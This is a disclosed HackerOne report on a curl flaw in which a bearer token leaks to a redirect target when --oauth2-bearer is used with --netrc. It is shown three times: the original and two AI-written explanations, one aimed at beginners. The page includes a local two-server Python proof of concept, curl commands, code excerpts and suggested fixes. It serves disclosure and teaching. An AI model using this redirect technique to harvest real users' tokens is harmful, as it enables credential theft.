Skip to content
Info disclosure Disclosed report Intermediate CVE-2026-3783CVE-2025-14524CVE-2025-0167CVE-2024-11053

CVE-2026-3783: token leak with redirect and netrc

When curl uses --oauth2-bearer with --netrc and follows a redirect, the bearer token is sent to the redirect target because the netrc bypass skips the host check. An attacker controlling a redirect could steal the token.

spectreglobalsec Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 7 days
  • Disclosed after 7 days

##Summary When --oauth2-bearer is used with --netrc and curl follows a redirect, the bearer token leaks to the redirect target. The netrc bypass at http.c:822 skips Curl_auth_allowed_to_host(), allowing the token through. This is an incomplete fix for CVE-2025-14524 — the Dec 2025 SASL fix patched curl_sasl.c but missed the HTTP bearer path.

This is an incomplete fix for the same vulnerability class as CVE-2025-14524. The Dec 2025 SASL bearer fix (commit 1a822275d3, PR #19933) patched lib/curl_sasl.c but left the HTTP bearer path at lib/http.c:704-714 unprotected.

Version

curl 8.10.1 (confirmed), also present in current master d9c2c64337. All versions supporting --oauth2-bearer with --netrc are affected.

The netrc bypass (lib/http.c:820-827):

C
  if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
     || conn->bits.netrc       // <-- bypasses host check entirely
#endif
    )
    result = output_auth_headers(data, conn, authhost, request, path, FALSE);

Bearer output with no host check (lib/http.c:704-714):

C
  if(authstatus->picked == CURLAUTH_BEARER) {
    if(!proxy && data->set.str[STRING_BEARER] &&
       !Curl_checkheaders(data, STRCONST("Authorization"))) {
      auth = "Bearer";
      result = http_output_bearer(data);
      // No Curl_auth_allowed_to_host() check here
    }
  }

Custom -H Authorization IS correctly protected (lib/http.c:1828-1833):

C
  if((curlx_str_casecompare(&name, "Authorization") ||
      curlx_str_casecompare(&name, "Cookie")) &&
     !Curl_auth_allowed_to_host(data))
    ;  // Stripped - note: NO netrc bypass in this path

Redirect path does NOT clear bearer (lib/http.c:1254-1257):

C
  if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    // STRING_BEARER is NOT cleared
    // authhost->picked is NOT reset
  }

SASL fix that missed the HTTP path (lib/curl_sasl.c:444-446, commit 1a822275d3):

C
  const char *oauth_bearer =
    (!data->state.this_is_a_follow || data->set.allow_auth_to_other_hosts) ?
    data->set.str[STRING_BEARER] : NULL;

Reproduction

Create a .netrc file with a default entry:

Bash
echo "default login testuser password testpass" > /tmp/test-netrc

Save as redirect_servers.py:

Python
import socket, threading, time

def server_b(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('127.0.0.1', port)); s.listen(1)
    c, _ = s.accept()
    data = b""
    while b"\r\n\r\n" not in data: data += c.recv(4096)
    req = data.decode()
    leaked = "Authorization: Bearer" in req
    print(f"\n{'='*50}")
    print(f"SERVER B RECEIVED:")
    print(req)
    print(f"BEARER LEAKED: {leaked}")
    print(f"{'='*50}\n")
    c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK")
    c.close(); s.close()

def server_a(port_a, port_b):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('127.0.0.1', port_a)); s.listen(1)
    c, _ = s.accept()
    data = b""
    while b"\r\n\r\n" not in data: data += c.recv(4096)
    c.sendall(f"HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:{port_b}/callback\r\nContent-Length: 0\r\nConnection: close\r\n\r\n".encode())
    c.close(); s.close()

threading.Thread(target=server_b, args=(8081,), daemon=True).start()
time.sleep(0.5)
server_a(8080, 8081)
import time; time.sleep(2)

Test 1 — Vulnerable (bearer leaks):

Bash
python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://127.0.0.1:8080/redirect

Result: Server B receives Authorization: Bearer SECRET_TOKEN. The token leaks to the redirect target.

Test 2 — Safe (custom -H header stripped correctly):

Bash
python3 redirect_servers.py &
sleep 2
curl -v -H "Authorization: Bearer SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://127.0.0.1:8080/redirect

Result: Server B does NOT receive the Authorization header. Custom -H headers are correctly stripped via http.c:1828-1833 which uses Curl_auth_allowed_to_host() WITHOUT the netrc bypass.

Test 3 — Safe (no netrc):

Bash
python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" -L http://127.0.0.1:8080/redirect

Result: Server B does NOT receive the bearer token. Without netrc, Curl_auth_allowed_to_host() correctly blocks the token.

The three-way comparison proves the netrc bypass at http.c:822 is the sole cause.

Suggested Fix

Option A — Add host check inside bearer output:

C
if(authstatus->picked == CURLAUTH_BEARER) {
  if(!proxy && data->set.str[STRING_BEARER] &&
     Curl_auth_allowed_to_host(data) &&  // ADD THIS
     !Curl_checkheaders(data, STRCONST("Authorization"))) {

Option B — Exclude bearer from the netrc bypass:

C
if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
   || (conn->bits.netrc && !(authhost->picked & CURLAUTH_BEARER))
#endif
  )

AI Disclosure

AI assisted with initial codebase navigation and identifying candidate code regions for review. All code path analysis, vulnerability confirmation, reproduction testing, and report writing were performed manually by the researcher. The reproduction steps above were executed against curl built from source and the output verified by hand.

Impact

A user who uses --oauth2-bearer with --netrc and follows redirects will have their OAuth2 bearer token sent to the redirect target host if that host matches a .netrc entry (including the default keyword, which matches all hosts).

The .netrc default keyword matches ALL hosts, meaning the token leaks to ANY redirect target. This is realistic for users who have default entries for FTP fallback credentials or CI/CD environments that use .netrc for package registry authentication.

This is the same vulnerability class as three existing CVEs:

CVE What leaks Fix location Status
CVE-2025-14524 Bearer via SASL curl_sasl.c:444 Fixed Dec 2025
CVE-2025-0167 Netrc creds url.c Fixed
CVE-2024-11053 Netrc creds url.c Fixed
This finding Bearer via HTTP + netrc http.c:822 NOT FIXED

The Dec 2025 SASL fix (commit 1a822275d3) proves curl considers this class of bug CVE-worthy. The HTTP bearer path was simply missed during that fix.

The original report as published on HackerOne, by spectreglobalsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

curl is the command line tool and library used almost everywhere for transferring data with URLs. Among its many authentication options are --oauth2-bearer, which sends an OAuth2 bearer token in an Authorization: Bearer ... header, and --netrc / --netrc-file, which reads credentials from a .netrc file. The .netrc file can contain a default entry, and that entry matches every host.

When curl follows a redirect (-L), it should not forward credentials to a host that is not authorised to receive them. The function that enforces this is Curl_auth_allowed_to_host(). The report shows that the netrc code path skips this check, so a bearer token supplied with --oauth2-bearer is sent to the redirect target when a netrc file is also in use.

The researcher frames this as an incomplete fix for CVE-2025-14524. The December 2025 SASL bearer fix (commit 1a822275d3, PR #19933) patched lib/curl_sasl.c but left the HTTP bearer path at lib/http.c:704-714 unprotected.

Setup

The issue was confirmed on curl 8.10.1 and is also present in current master d9c2c64337. According to the report, all versions supporting --oauth2-bearer together with --netrc are affected.

The reproduction needs only curl built from source and Python 3 for the two local test servers. A .netrc file with a default entry stands in for the credentials a real user might have configured for FTP fallback or for package registry authentication in CI/CD.

Finding it

The report walks through several code paths in lib/http.c and shows that they treat the host check differently.

The netrc bypass (lib/http.c:820-827):

C
  if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
     || conn->bits.netrc       // <-- bypasses host check entirely
#endif
    )
    result = output_auth_headers(data, conn, authhost, request, path, FALSE);

When conn->bits.netrc is set, the || short-circuits the host check entirely, so output_auth_headers() runs regardless of whether the current host is allowed to receive credentials.

Bearer output with no host check (lib/http.c:704-714):

C
  if(authstatus->picked == CURLAUTH_BEARER) {
    if(!proxy && data->set.str[STRING_BEARER] &&
       !Curl_checkheaders(data, STRCONST("Authorization"))) {
      auth = "Bearer";
      result = http_output_bearer(data);
      // No Curl_auth_allowed_to_host() check here
    }
  }

The bearer output path itself never calls Curl_auth_allowed_to_host(). It relies on the caller having done so, and the netrc bypass means the caller did not.

Custom -H Authorization IS correctly protected (lib/http.c:1828-1833):

C
  if((curlx_str_casecompare(&name, "Authorization") ||
      curlx_str_casecompare(&name, "Cookie")) &&
     !Curl_auth_allowed_to_host(data))
    ;  // Stripped - note: NO netrc bypass in this path

A user-supplied Authorization header is stripped on a cross-host redirect, and this path has no netrc bypass. That difference is what makes the three-way test below meaningful.

Redirect path does NOT clear bearer (lib/http.c:1254-1257):

C
  if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    // STRING_BEARER is NOT cleared
    // authhost->picked is NOT reset
  }

On a redirect, the username and password are freed, but the bearer string and the picked auth type survive, so the token is still available to be sent to the new host.

SASL fix that missed the HTTP path (lib/curl_sasl.c:444-446, commit 1a822275d3):

C
  const char *oauth_bearer =
    (!data->state.this_is_a_follow || data->set.allow_auth_to_other_hosts) ?
    data->set.str[STRING_BEARER] : NULL;

The SASL path now suppresses the bearer token on a follow unless allow_auth_to_other_hosts is set. The HTTP path has no equivalent guard.

Exploitation

Step 1: create a netrc file with a default entry

Bash
echo "default login testuser password testpass" > /tmp/test-netrc

The default keyword matches every host, so the netrc condition is true for any redirect target.

Step 2: start two local servers

Save as redirect_servers.py:

Python
import socket, threading, time

def server_b(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('[redacted]', port)); s.listen(1)
    c, _ = s.accept()
    data = b""
    while b"\r\n\r\n" not in data: data += c.recv(4096)
    req = data.decode()
    leaked = "Authorization: Bearer" in req
    print(f"\n{'='*50}")
    print(f"SERVER B RECEIVED:")
    print(req)
    print(f"BEARER LEAKED: {leaked}")
    print(f"{'='*50}\n")
    c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK")
    c.close(); s.close()

def server_a(port_a, port_b):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('[redacted]', port_a)); s.listen(1)
    c, _ = s.accept()
    data = b""
    while b"\r\n\r\n" not in data: data += c.recv(4096)
    c.sendall(f"HTTP/1.1 302 Found\r\nLocation: http://[redacted]:{port_b}/callback\r\nContent-Length: 0\r\nConnection: close\r\n\r\n".encode())
    c.close(); s.close()

threading.Thread(target=server_b, args=(8081,), daemon=True).start()
time.sleep(0.5)
server_a(8080, 8081)
import time; time.sleep(2)

Server A on port 8080 answers any request with a 302 Found pointing to http://[redacted]:8081/callback. Server B on port 8081 reads the request it receives, prints it, and reports whether the string Authorization: Bearer is present.

Step 3: Test 1, vulnerable case

Bash
python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://[redacted]:8080/redirect

Server B receives Authorization: Bearer SECRET_TOKEN. The token leaks to the redirect target.

Step 4: Test 2, custom header is stripped

Bash
python3 redirect_servers.py &
sleep 2
curl -v -H "Authorization: Bearer SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://[redacted]:8080/redirect

Server B does not receive the Authorization header. Custom -H headers are correctly stripped via http.c:1828-1833, which uses Curl_auth_allowed_to_host() without the netrc bypass.

Step 5: Test 3, no netrc

Bash
python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" -L http://[redacted]:8080/redirect

Server B does not receive the bearer token. Without netrc, Curl_auth_allowed_to_host() correctly blocks the token.

The three-way comparison isolates the cause: the same redirect, the same token, and the only difference between leaking and not leaking is whether a netrc file is in use. The researcher states that this proves the netrc bypass at http.c:822 is the sole cause.

Root cause

The host check in output_auth_headers() is written as Curl_auth_allowed_to_host(data) || conn->bits.netrc. The netrc clause bypasses the host check entirely, which lets the bearer token through. The bearer output function at http.c:704-714 has no host check of its own, and the redirect handling at http.c:1254-1257 does not clear STRING_BEARER or reset authhost->picked. The three conditions combine: the token survives the redirect, the picked auth type is still bearer, and the netrc flag bypasses the host check.

The earlier SASL fix shows the same class of bug was already recognised. It added a this_is_a_follow guard in curl_sasl.c, but the HTTP bearer path was not given the equivalent guard.

Impact

A user who uses --oauth2-bearer with --netrc and follows redirects will have their OAuth2 bearer token sent to the redirect target host if that host matches a .netrc entry. Because the default keyword matches all hosts, a default entry means the token leaks to any redirect target. The researcher notes this is realistic for users who keep default entries for FTP fallback credentials or for CI/CD environments that use .netrc for package registry authentication.

The report places this in the same vulnerability class as three existing CVEs:

CVE What leaks Fix location Status
CVE-2025-14524 Bearer via SASL curl_sasl.c:444 Fixed Dec 2025
CVE-2025-0167 Netrc creds url.c Fixed
CVE-2024-11053 Netrc creds url.c Fixed
This finding Bearer via HTTP + netrc http.c:822 NOT FIXED

The report argues that the December 2025 SASL fix proves curl considers this class of bug CVE-worthy, and that the HTTP bearer path was simply missed during that fix.

Fix

The report suggests two options.

Option A, add the host check inside the bearer output:

C
if(authstatus->picked == CURLAUTH_BEARER) {
  if(!proxy && data->set.str[STRING_BEARER] &&
     Curl_auth_allowed_to_host(data) &&  // ADD THIS
     !Curl_checkheaders(data, STRCONST("Authorization"))) {

Option B, exclude bearer from the netrc bypass:

C
if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
   || (conn->bits.netrc && !(authhost->picked & CURLAUTH_BEARER))
#endif
  )

Both are presented as suggestions.

Variants to test

  1. Other auth types behind the netrc bypass. Repeat the three-way test with --user and --digest, --ntlm or --negotiate instead of --oauth2-bearer, keeping --netrc-file and -L. A positive result is the redirect target receiving an Authorization header carrying the credential that the no-netrc run withholds.
  2. Redirect to a different hostname rather than a different port. Use two names that resolve to the same machine, with a netrc entry matching only the second. A positive result is the token arriving at the second name even though the netrc entry does not cover the first.
  3. Netrc entry scoped to the redirect target only. Put a host-specific entry for the redirect target in the netrc file instead of default. A positive result is the same leak, showing the default keyword is not required.
  4. --location-trusted comparison. Run the same test with --location-trusted and without it. A positive result is that the leak occurs without --location-trusted, since that flag is the documented way to allow credentials to other hosts.
  5. Proxy path. Repeat with a proxy configured and a redirect through it, checking whether the !proxy condition in the bearer output changes the outcome. A positive result is the token reaching the redirect target through the proxy.
  6. SASL path regression check. Run the equivalent test against an SASL-authenticated protocol to confirm the December 2025 guard still suppresses the token on a follow. A positive result here would be a leak, which would mean the earlier fix is also incomplete.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

curl is a small program that runs in a terminal and fetches things from the internet: web pages, files, API responses. It is also a library that many other programs use under the hood. You can think of it as a courier: you tell it an address, it goes there, shows you what it found, and can carry a password or a token along so the other side knows who you are.

Two of curl's options matter here. The first is --oauth2-bearer, which attaches an OAuth2 bearer token to the request. A bearer token is a long string of characters that works like a temporary key: whoever holds it is treated as you, without any further proof. The second is --netrc (or --netrc-file), which tells curl to read usernames and passwords from a small text file called .netrc, so you do not have to type them every time.

The problem: when curl is told to follow a redirect (-L), it can end up talking to a different server than the one you started with. A redirect is what happens when a website answers "not here, go look over there" and gives a new address. curl is supposed to check whether the new server is allowed to receive your credentials before sending them. The report shows that when a .netrc file is in use, that check is skipped, and the bearer token travels to the redirect target.

The researcher describes this as an incomplete fix for an earlier bug, CVE-2025-14524. A CVE is a public catalogue number given to a known security flaw. In December 2025 a fix went into one part of curl (the SASL code) for the same kind of leak, but the HTTP path that sends bearer tokens was left unprotected.

Context

curl is the command line tool and library used almost everywhere for transferring data with URLs. Among its many authentication options are --oauth2-bearer, which sends an OAuth2 bearer token in an Authorization: Bearer ... header, and --netrc / --netrc-file, which reads credentials from a .netrc file. The .netrc file can contain a default entry, and that entry matches every host.

A header is a line of extra information sent alongside a web request, a bit like the label on a parcel. Authorization is the header that carries proof of who you are. A host is simply a machine on the network, identified by a name or an address.

When curl follows a redirect (-L), it should not forward credentials to a host that is not authorised to receive them. The function that enforces this is Curl_auth_allowed_to_host(). A function is a named block of code that does one job; this one answers the question "is this host allowed to get the credentials?". The report shows that the netrc code path skips this check, so a bearer token supplied with --oauth2-bearer is sent to the redirect target when a netrc file is also in use.

The researcher frames this as an incomplete fix for CVE-2025-14524. The December 2025 SASL bearer fix (commit 1a822275d3, PR #19933) patched lib/curl_sasl.c but left the HTTP bearer path at lib/http.c:704-714 unprotected. A commit is a saved change in a code repository, and a PR (pull request) is the proposal that contains it. SASL is another authentication mechanism used by some protocols; it is a sibling of the HTTP path, not the same code.

Setup

The issue was confirmed on curl 8.10.1 and is also present in current master d9c2c64337. "Master" is the main development copy of the code, and the long string is the identifier of a particular saved state of it. According to the report, all versions supporting --oauth2-bearer together with --netrc are affected.

The reproduction needs only curl built from source and Python 3 for the two local test servers. "Built from source" means compiled from the code yourself rather than installed as a ready-made package. Python is a programming language; here it is used to run two tiny fake websites on your own machine. A .netrc file with a default entry stands in for the credentials a real user might have configured for FTP fallback or for package registry authentication in CI/CD. FTP is an older file transfer protocol, and CI/CD is the automated pipeline that builds and ships software; both are places where people commonly keep a catch-all .netrc entry.

Finding it

The report walks through several code paths in lib/http.c and shows that they treat the host check differently. A code path is one route through the program that a particular situation takes.

The netrc bypass (lib/http.c:820-827):

C
  if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
     || conn->bits.netrc       // <-- bypasses host check entirely
#endif
    )
    result = output_auth_headers(data, conn, authhost, request, path, FALSE);

Line by line: if( starts a decision. Curl_auth_allowed_to_host(data) asks whether the current host may receive credentials. #ifndef CURL_DISABLE_NETRC means "only include the next line if netrc support was compiled in". || conn->bits.netrc is an "or": if the netrc flag is set, the whole condition is true no matter what the host check said. The comment on that line says it plainly: it bypasses the host check entirely. #endif closes the conditional. The final line calls output_auth_headers(), the function that actually writes the credentials into the request. So when conn->bits.netrc is set, the || short-circuits the host check entirely, and output_auth_headers() runs regardless of whether the current host is allowed to receive credentials. "Short-circuit" means the second half of an "or" is never even evaluated once the first half is true.

Bearer output with no host check (lib/http.c:704-714):

C
  if(authstatus->picked == CURLAUTH_BEARER) {
    if(!proxy && data->set.str[STRING_BEARER] &&
       !Curl_checkheaders(data, STRCONST("Authorization"))) {
      auth = "Bearer";
      result = http_output_bearer(data);
      // No Curl_auth_allowed_to_host() check here
    }
  }

Line by line: the outer if asks whether the chosen authentication type is bearer. The inner if requires three things: we are not talking through a proxy (!proxy), a bearer string has been configured (data->set.str[STRING_BEARER]), and the user has not already set an Authorization header by hand (!Curl_checkheaders(...)). If all three hold, it sets the auth label to "Bearer" and calls http_output_bearer(data), which writes the token into the request. The comment at the end is the point: there is no host check in this function. The bearer output path itself never calls Curl_auth_allowed_to_host(). It relies on the caller having done so, and the netrc bypass means the caller did not.

Custom -H Authorization IS correctly protected (lib/http.c:1828-1833):

C
  if((curlx_str_casecompare(&name, "Authorization") ||
      curlx_str_casecompare(&name, "Cookie")) &&
     !Curl_auth_allowed_to_host(data))
    ;  // Stripped - note: NO netrc bypass in this path

Line by line: this checks whether the header name is Authorization or Cookie (case-insensitively), and whether the host is not allowed to receive credentials. If both are true, the statement body is just ;, an empty statement, which means "do nothing" here: the header is dropped. A user-supplied Authorization header is stripped on a cross-host redirect, and this path has no netrc bypass. That difference is what makes the three-way test below meaningful.

Redirect path does NOT clear bearer (lib/http.c:1254-1257):

C
  if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    // STRING_BEARER is NOT cleared
    // authhost->picked is NOT reset
  }

Line by line: when the clear flag is set, curl frees the stored username and password (Curl_safefree releases memory). The two comments say what is missing: the bearer string is not cleared, and the record of which auth type was picked is not reset. On a redirect, the username and password are freed, but the bearer string and the picked auth type survive, so the token is still available to be sent to the new host.

SASL fix that missed the HTTP path (lib/curl_sasl.c:444-446, commit 1a822275d3):

C
  const char *oauth_bearer =
    (!data->state.this_is_a_follow || data->set.allow_auth_to_other_hosts) ?
    data->set.str[STRING_BEARER] : NULL;

Line by line: this declares a variable oauth_bearer. The ? : is a compact if/else: if we are not following a redirect, or the user explicitly allowed credentials to other hosts, use the configured bearer string; otherwise use NULL, meaning nothing. The SASL path now suppresses the bearer token on a follow unless allow_auth_to_other_hosts is set. The HTTP path has no equivalent guard.

Exploitation

Step 1: create a netrc file with a default entry

Bash
echo "default login testuser password testpass" > /tmp/test-netrc

echo prints the text in quotes, and > writes it into the file /tmp/test-netrc. The line says: for the default entry, use login testuser and password testpass. The default keyword matches every host, so the netrc condition is true for any redirect target. This step exists to create the exact situation the bug needs: a netrc file that applies everywhere.

Step 2: start two local servers

Save as redirect_servers.py:

Python
import socket, threading, time

def server_b(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('[redacted]', port)); s.listen(1)
    c, _ = s.accept()
    data = b""
    while b"\r\n\r\n" not in data: data += c.recv(4096)
    req = data.decode()
    leaked = "Authorization: Bearer" in req
    print(f"\n{'='*50}")
    print(f"SERVER B RECEIVED:")
    print(req)
    print(f"BEARER LEAKED: {leaked}")
    print(f"{'='*50}\n")
    c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK")
    c.close(); s.close()

def server_a(port_a, port_b):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('[redacted]', port_a)); s.listen(1)
    c, _ = s.accept()
    data = b""
    while b"\r\n\r\n" not in data: data += c.recv(4096)
    c.sendall(f"HTTP/1.1 302 Found\r\nLocation: http://[redacted]:{port_b}/callback\r\nContent-Length: 0\r\nConnection: close\r\n\r\n".encode())
    c.close(); s.close()

threading.Thread(target=server_b, args=(8081,), daemon=True).start()
time.sleep(0.5)
server_a(8080, 8081)
import time; time.sleep(2)

Line by line: the first line imports three Python modules: socket for network connections, threading to run two things at once, and time for short pauses. server_b(port) defines the second server. It creates a network socket, sets an option so the port can be reused immediately, binds it to [redacted] (your own machine) on the given port, and starts listening for one connection. s.accept() waits for a client. The while loop keeps reading chunks of up to 4096 bytes until the blank line \r\n\r\n that marks the end of the request headers arrives. req = data.decode() turns the raw bytes into readable text. leaked = "Authorization: Bearer" in req is the actual test: does the request contain that string? The print lines show the whole request and the verdict. c.sendall(...) replies with a minimal 200 OK page containing OK, then closes the connection.

server_a(port_a, port_b) is the first server. It accepts one connection, reads the request the same way, and replies with HTTP/1.1 302 Found and a Location: header pointing to http://[redacted]:{port_b}/callback. A 302 is the standard "go somewhere else" answer, and Location is where it says to go. Then it closes.

The last lines start server B in a background thread on port 8081, wait half a second so it is ready, then run server A on port 8080 and tell it to redirect to 8081. The final time.sleep(2) keeps the script alive briefly so the output can be read.

Server A on port 8080 answers any request with a 302 Found pointing to http://[redacted]:8081/callback. Server B on port 8081 reads the request it receives, prints it, and reports whether the string Authorization: Bearer is present. Two servers are needed because the bug only shows up when curl moves from one host to another; using two ports on the same machine keeps the test local and harmless.

Step 3: Test 1, vulnerable case

Bash
python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://[redacted]:8080/redirect

python3 redirect_servers.py & starts the two servers in the background (the & means "do not block the terminal"). sleep 2 waits two seconds so they are listening. The curl line then makes the request: -v means verbose, so curl prints what it sends and receives; --oauth2-bearer "SECRET_TOKEN" attaches the token; --netrc-file /tmp/test-netrc loads the netrc file from step 1; -L tells curl to follow redirects; and the address is the first server's /redirect path. This is the exact combination the report says is dangerous.

Server B receives Authorization: Bearer SECRET_TOKEN. The token leaks to the redirect target.

Step 4: Test 2, custom header is stripped

Bash
python3 redirect_servers.py &
sleep 2
curl -v -H "Authorization: Bearer SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://[redacted]:8080/redirect

Same setup, but this time the token is supplied by hand with -H, which adds a header directly. Everything else is identical, including the netrc file and the redirect. The point is to see whether the hand-written header behaves differently from the one curl generates itself.

Server B does not receive the Authorization header. Custom -H headers are correctly stripped via http.c:1828-1833, which uses Curl_auth_allowed_to_host() without the netrc bypass.

Step 5: Test 3, no netrc

Bash
python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" -L http://[redacted]:8080/redirect

Again the same servers and the same token, but the --netrc-file option is gone. This run shows what curl does normally, without the netrc flag in play.

Server B does not receive the bearer token. Without netrc, Curl_auth_allowed_to_host() correctly blocks the token.

The three-way comparison isolates the cause: the same redirect, the same token, and the only difference between leaking and not leaking is whether a netrc file is in use. The researcher states that this proves the netrc bypass at http.c:822 is the sole cause.

Root cause

The host check in output_auth_headers() is written as Curl_auth_allowed_to_host(data) || conn->bits.netrc. The netrc clause bypasses the host check entirely, which lets the bearer token through. The bearer output function at http.c:704-714 has no host check of its own, and the redirect handling at http.c:1254-1257 does not clear STRING_BEARER or reset authhost->picked. The three conditions combine: the token survives the redirect, the picked auth type is still bearer, and the netrc flag bypasses the host check.

The earlier SASL fix shows the same class of bug was already recognised. It added a this_is_a_follow guard in curl_sasl.c, but the HTTP bearer path was not given the equivalent guard.

Impact

A user who uses --oauth2-bearer with --netrc and follows redirects will have their OAuth2 bearer token sent to the redirect target host if that host matches a .netrc entry. Because the default keyword matches all hosts, a default entry means the token leaks to any redirect target. The researcher notes this is realistic for users who keep default entries for FTP fallback credentials or for CI/CD environments that use .netrc for package registry authentication.

The report places this in the same vulnerability class as three existing CVEs. A vulnerability class is a family of bugs that share the same underlying mistake, here "credentials sent to the wrong place".

CVE What leaks Fix location Status
CVE-2025-14524 Bearer via SASL curl_sasl.c:444 Fixed Dec 2025
CVE-2025-0167 Netrc creds url.c Fixed
CVE-2024-11053 Netrc creds url.c Fixed
This finding Bearer via HTTP + netrc http.c:822 NOT FIXED

The report argues that the December 2025 SASL fix proves curl considers this class of bug CVE-worthy, and that the HTTP bearer path was simply missed during that fix.

Fix

The report suggests two options.

Option A, add the host check inside the bearer output:

C
if(authstatus->picked == CURLAUTH_BEARER) {
  if(!proxy && data->set.str[STRING_BEARER] &&
     Curl_auth_allowed_to_host(data) &&  // ADD THIS
     !Curl_checkheaders(data, STRCONST("Authorization"))) {

This adds the missing question to the inner if: before writing the token, also ask whether the host is allowed. The comment marks the new line.

Option B, exclude bearer from the netrc bypass:

C
if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
   || (conn->bits.netrc && !(authhost->picked & CURLAUTH_BEARER))
#endif
  )

This keeps the netrc bypass for other auth types but switches it off when the picked type is bearer, so the host check applies again for tokens.

Both are presented as suggestions.

Variants to test

Each one changes a single thing and checks whether the leak still happens.

  1. Other auth types behind the netrc bypass. Repeat the three-way test with --user and --digest, --ntlm or --negotiate instead of --oauth2-bearer, keeping --netrc-file and -L. A positive result is the redirect target receiving an Authorization header carrying the credential that the no-netrc run withholds. These are other ways of proving identity; if they leak too, the bypass is broader than bearer tokens.
  2. Redirect to a different hostname rather than a different port. Use two names that resolve to the same machine, with a netrc entry matching only the second. A positive result is the token arriving at the second name even though the netrc entry does not cover the first. This checks whether the bug depends on the port changing or on the host name changing.
  3. Netrc entry scoped to the redirect target only. Put a host-specific entry for the redirect target in the netrc file instead of default. A positive result is the same leak, showing the default keyword is not required.
  4. --location-trusted comparison. Run the same test with --location-trusted and without it. A positive result is that the leak occurs without --location-trusted, since that flag is the documented way to allow credentials to other hosts. In other words, the leak should not need the user to opt in.
  5. Proxy path. Repeat with a proxy configured and a redirect through it, checking whether the !proxy condition in the bearer output changes the outcome. A proxy is an intermediary server that requests pass through. A positive result is the token reaching the redirect target through the proxy.
  6. SASL path regression check. Run the equivalent test against an SASL-authenticated protocol to confirm the December 2025 guard still suppresses the token on a follow. A positive result here would be a leak, which would mean the earlier fix is also incomplete.

Glossary

  • API: a defined way for one program to talk to another, usually over the network, often with credentials attached.
  • Authentication: proving who you are to a server.
  • Authorization header: the HTTP header that carries proof of identity, such as a token or username and password.
  • Bearer token: a secret string that grants access to whoever presents it, with no further proof required.
  • CI/CD: the automated pipeline that builds, tests and ships software.
  • Code path: one route through a program that a particular situation takes.
  • Commit: a saved change in a code repository, identified by a short hash.
  • Credential: any secret used to prove identity, such as a password or token.
  • curl: a command line tool and library for transferring data with URLs.
  • CVE: a public catalogue number assigned to a known security vulnerability.
  • CVSS: a scoring system for the severity of a vulnerability.
  • FTP: an older protocol for transferring files between machines.
  • Function: a named block of code that performs one job.
  • Header: a line of extra information sent with a web request or response.
  • Host: a machine on the network, identified by a name or address.
  • HTTP: the protocol browsers and servers use to exchange web requests and responses.
  • Master: the main development copy of a code repository.
  • .netrc: a text file holding usernames and passwords for hosts, optionally with a default entry that matches every host.
  • OAuth2: an authorisation framework that issues tokens instead of sharing passwords.
  • PR (pull request): a proposed change to a code repository, reviewed before it is merged.
  • Proxy: an intermediary server that requests pass through.
  • Redirect: a server response telling the client to go to a different address.
  • SASL: an authentication framework used by some network protocols.
  • Short-circuit: in an "or" expression, skipping the second half once the first half is already true.
  • Socket: a programmatic endpoint for a network connection.
  • Token: a secret string used in place of a password to prove identity.
  • Vulnerability class: a family of bugs that share the same underlying mistake.
  • 302 Found: the HTTP status code meaning "the thing you want is somewhere else".
  • 200 OK: the HTTP status code meaning the request succeeded.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.